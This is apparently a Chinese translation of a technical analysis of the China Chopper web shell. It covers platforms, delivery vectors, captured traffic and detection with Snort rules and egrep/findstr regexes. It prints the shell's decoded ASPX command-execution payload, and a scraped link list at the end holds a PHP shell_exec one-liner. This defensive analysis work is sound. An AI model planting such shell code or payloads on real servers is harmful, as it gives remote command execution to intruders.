【Web Shell】- 技术剖析中国菜刀 - Part II
在第一部分,简单描述了中国菜刀的基本功能。本文我将剖析中国菜刀的平台多功能性、传输机制、交互模式和检测。我希望通过我的讲解,您能够根据您的环境检测出并清除它。
平台
那么中国菜刀可以在哪些平台上运行?答案是任何能够运行JSP、ASP、ASPX、PHP、CFM的Web服务器。这些是大多数Web应用程序语言。那么操作系统呢?中国菜刀足够灵活,可以在Windows和Linux上运行。这种操作系统和应用程序的灵活性使其成为一个更危险的Web shell。
在本系列的第一部分中,我们展示了使用ASPX在Windows 2003 IIS服务器上执行中国菜刀。现在我们将展示它在Linux上运行PHP。如图1所示,PHP版本的内容同样简约:
虽然可用选项因中国菜刀运行的平台而异,但Linux中的文件管理功能与Windows中的类似。如图:
下图显示的数据库客户端示例是MySQL而不是MS-SQL,但它提供了许多相同的功能。
虚拟终端看起来很熟悉,但是使用Linux命令而不是Windows,因为它们最终由底层操作系统解释。
传输机制
由于恶意软件的有效负载的大小,格式和简单性,中国菜刀的交付机制可以非常灵活。可以使用以下任何机制来传递这种基于文本的小型有效负载:
- WebDAV文件上传
- JBoss jmx-console或Apache Tomcat管理页面(有关此攻击向量的更多详细信息,请阅读FireEye顾问Tony Lee的解释)
- 远程利用文件丢弃
- 来自其他访问的横向传播
流量分析
我们现在已经看到了服务器端有效负载和用于控制Web shell的客户端。现在让我们来看看中国菜刀的流量。幸运的是,我们有服务器和客户端组件,因此我们可以启动数据包捕获来查看典型流量的内容。如图所示,客户端使用HTTP POST方法通过TCP端口80启动连接。
因为这是TCP流量,我们可以在Wireshark(一种在Unix和Windows中运行的流行的开源网络协议分析器)中“跟踪TCP”流。在下图中,顶部的红色流量来自攻击者(Web客户端)。底部显示为蓝色的流量是目标(Web shell)的响应。我们可以看到大多数攻击者流量都是Base64编码的。
如上所述,大多数攻击者流量似乎是Base64编码的。但这不是问题,因为它可以很容易地解码。我们使用免费的Fiddler Web调试器的“TextWizard”功能来发现攻击者发送的内容。(注意:%3D是等号的URL编码表示(“=”).Fiddler需要将其转换为等号才能正确解码。)
原始传输数据:
Password=Response.Write("->|"); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(). GetString(System. Convert.FromBase64String ("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0 ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2 U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0 SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0 KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write ("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6 XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
Fiddler Web调试器文本向导可以轻松地将原始流量从Base64转换为纯文本。如图:
解码之后的数据:
varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(). GetString(System.Convert.FromBase64String(Request.Item["z1"]))); vare=newSystem.Diagnostics.Process(); varout:System.IO.StreamReader,EI:System.IO.StreamReader; c.UseShellExecute=false; c.RedirectStandardOutput=true;c.RedirectStandardError=true; e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(). GetString(System.Convert.FromBase64String(Request.Item["z2"])); e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close(); Response.Write(out.ReadToEnd()+EI.ReadToEnd());
最终我们有更好可读性。但是,我们的Base64解码数据现在正在尝试解码更多存储为z1和z2的Base64数据。回到我们的攻击者数据,在“密码”参数结束后,我们看到z1和z2参数。
我在以下输出中突出显示了Base64编码的参数z1和z2:
&z1 = Y21k&z2 = Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
Base64解码的参数z1和z2:
z1 = cmdz2 = cd / d“c:\ inetpub \ wwwroot \”&whoami&echo [S]&cd&echo [E]
这解释了客户端如何与shell通信。“Password”参数将代码传递给服务端。z1是cmd,z2包含通过cmd / c发送的命令提示符的参数。所有输出都被回发给攻击者,它会对whoami 命令和当前工作目录创建以下响应:
->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-
检测
既然我们了解了中国菜刀的内容及其流量,我们就可以专注于在网络和主机层面检测这种害虫的方法。
网络
使用标准的Snort IDS,可以相对轻松地捕获此流量。Keith Tyler在他早期的中国菜刀博客文章中提供了一个基本的IDS签名 :
alert tcp any any -> any ( sid:; content:"base64_decode"; http_client_body;flow:to_server,established; content:"POST"; nocase; http_method; ;msg:"Webshell Detected Apache";)
为了减少误报,我们通过查找“FromBase64String”和“z1”的内容来收紧Snort IDS签名以关注中国菜刀,如下所示:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: "China Chopper with first Command Detected"; flow:to_server,established; content: "FromBase64String"; content: "z1"; content:"POST"; nocase;http_method; reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html; classtype:web-application-attack; sid: ;)
以下IDS签名查找“FromBase64String”的内容以及“z”后跟一到三位的任意组合 - 例如,它会找到“z1”,“z10”或“z100”。想法:如果第一个命令错过(z1),你仍然会捕获后续命令。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: "China Chopper with all Commands Detected"; flow:to_server,established; content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method; reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html; classtype:web-application-attack; sid: ;)
当考虑深度和偏移时,可以修改这两个IDS签名以进一步优化。在实现和测试签名以确保性能之前,请务必放入有效的SID。
现在我们已经讨论了网络级别的检测,我们将看到主机级别的检测也是可能的。由于shell必须包含可预测的语法,因此我们可以快速尝试查找具有该代码的文件。
主机
可以使用许多方法查找包含中国菜刀的文件。最快捷,最简单的方法,特别是在Linux机器上,可能使用正则表达式。如图所示,跨Web目录的快速egrep可以帮助识别受感染的文件。
egrep -re'[<] [?] php \ s \ @eval [(] \ $ _ POST \ [。+ \] [)]; [?] [>]'* .php
egrep和regex 命令是一个强大的组合。虽然正则表达式可能看起来像胡言乱语,但它确实没有看起来那么糟糕。
Windows还提供了一种使用native findstr命令使用正则表达式搜索文件的方法。
您可能已经注意到我们必须稍微更改正则表达式。这是解决findtr解释正则表达式的一些方法所必需的。您将运行的命令如下:
findstr / R“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php
这些示例显示了PHP shell中的检测。要查找ASPX shell,只需修改正则表达式以适合ASPX shell的语法,如下所示:
egrep -re'[<] \%\ @ \ sPage \ sLanguage = .script。\%[>] [<] \%eval.Request \ .Item。+ unsafe'* .aspx
findstr / R“[<] \%\ @。Page.Language = .script。\%[>] [<] \%eval.Request \ .Item。* unsafe”* .aspx
如果您不确定Windows主机上的所有PHP或ASPX文件的位置,可以使用带有一些扩展选项的dir命令来帮助您识别可能要运行我们的正则表达式的 Web文件(参见图)。
dir / S / A / B * .php
Findstr还有一个搜索所有子目录的选项(参见图13)。
findstr / R / S“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php
结语
我希望通过这篇文章,能让大家对中国菜刀的功能、平台多功能性、交付机制、流量分析和检测能够有所了解。
【Web Shell】- 技术剖析中国菜刀 - Part II的更多相关文章
- 【Web Shell】- 技术剖析中国菜刀 – Part I
这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处.中国菜刀用途十分广泛,支持多种语言,小巧实用,据说是一位中国军人退 ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- CTF-练习平台-Misc之 中国菜刀,不再web里?
八.中国菜刀,不再web里? 下载文件后解压,是一个数据包,用wireshark打开,题中说的是菜刀,那就找http协议,首先过滤出http协议包 在第四个里面找到一句话木马 Flag应该在木马之后拿 ...
- Web开发技术发展历史
Web开发技术发展历史 来自:天码营 原文:http://www.tianmaying.com/tutorial/web-history Web的诞生 提到Web,不得不提一个词就是"互 ...
- 【转载】Web开发技术发展历史-版本1
原文在这里. Web开发技术发展历史 Web的诞生 提到Web,不得不提一个词就是“互联网”.Web是World Wide Web的简称,中文译为万维网.“万维网”和我们经常说的“互联网”是两个联系极 ...
- 最新中国菜刀caidao-20160620下载和说明
0x00 中国制造, 黑客之刀 中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相! 0x01 验证 此次更新还自带了官网 ...
- Web挖掘技术
一.数据挖掘 数据挖掘是运用计算机及信息技术,从大量的.不全然的数据集中获取隐含在当中的实用知识的高级过程.Web 数据挖掘是从数据挖掘发展而来,是数据挖掘技术在Web 技术中的应用.Web 数据 ...
- WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载]
原文:WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载] 我们有两种典型的WCF调用方式:通过SvcUtil.exe(或者添加Web引用)导入发布的服务元数据生成服务代理相关的代码 ...
- WCF技术剖析之二十八:自己动手获取元数据[附源代码下载]
原文:WCF技术剖析之二十八:自己动手获取元数据[附源代码下载] 元数据的发布方式决定了元数据的获取行为,WCF服务元数据架构体系通过ServiceMetadataBehavior实现了基于WS-ME ...
随机推荐
- 【转载】COM 组件设计与应用(三)——数据类型
原文:http://vckbase.com/index.php/wv/1206.html COM 组件设计与应用 系列文章:http://vckbase.com/index.php/piwz?& ...
- 23-[模块]-logging
1.日志级别 很多程序都有记录日志的需求,并且日志中包含的信息即有正常的程序访问日志,还可能有错误.警告等信息输出,python的logging模块提供了标准的日志接口,你可以通过它存储各种格式的日志 ...
- 12-[CSS]-margin塌陷,margin 0 auto,善用父级的padding
1.margin塌陷 <!DOCTYPE html> <html lang="en"> <head> <meta charset=&quo ...
- 【SDOI2017】新生舞会
题面 题解 一眼\(0/1\)分数规划 二分答案\(mid\),我们要\(\sum\limits_i a^{'}_i - mid\sum\limits_i b_i^{'}\)最大 那么我们将\(a_{ ...
- jQuery中attr()函数 VS prop()函数
http://www.365mini.com/page/jquery-attr-vs-prop.htm 在jQuery中,attr()函数和prop()函数都用于设置或获取指定的属性,它们的参数和用法 ...
- zabbix3.4 监控路由器报错No Such Instance currently exists at this OID
zabbix 3.4 监控报错No Such Instance currently exists at this OID 1.首先查看监控的路由器的监控项是否报警 监控主机报错出现这个 No Such ...
- C++实现从一个文件夹中读出所有txt文件
前段时间做项目需要读取一个文件夹里面所有的txt文件,查询资料后得到以下实现方法:首先了解一下这个结构体struct _finddata_t { unsigned attrib; t ...
- CTF MISC-USB流量分析出题记录
USB流量分析 USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信.USB无线网卡网络传输内容等. 1.USB ...
- MySQL基础架构之查询语句执行流程
这篇笔记主要记录mysql的基础架构,一条查询语句是如何执行的. 比如,在我们从student表中查询一个id=2的信息 select * from student where id=2; 在解释这条 ...
- GIT问题(一)——push冲突